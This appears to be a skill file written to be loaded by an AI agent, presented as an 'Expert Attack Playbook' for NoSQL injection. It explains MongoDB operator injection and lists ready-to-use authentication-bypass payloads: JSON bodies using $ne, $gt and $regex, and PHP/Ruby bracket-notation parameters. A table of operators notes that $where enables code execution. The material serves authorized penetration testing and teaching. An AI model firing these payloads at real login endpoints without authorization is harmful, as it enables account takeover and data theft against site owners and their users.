nosql-injection

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.

---

1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!

---

2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST Array Injection (URL-encoded form)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params Array Injection

Same as PHP — use bracket notation to inject objects:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL-encoded $

---

3. MONGODB OPERATORS FOR INJECTION

Operator	Meaning	Use Case
$ne	not equal	{"password": {"$ne": "x"}} → always matches
$gt	greater than	{"password": {"$gt": ""}} → all non-empty passwords match
$gte	greater or equal	Similar to $gt
$lt	less than	{"password": {"$lt": "~"}} → all ASCII match
$regex	regex match	{"username": {"$regex": "adm.*"}}
$where	JS expression	MOST DANGEROUS — code execution
$exists	field exists	{"admin": {"$exists": true}}
$in	in array	{"username": {"$in": ["admin","user"]}}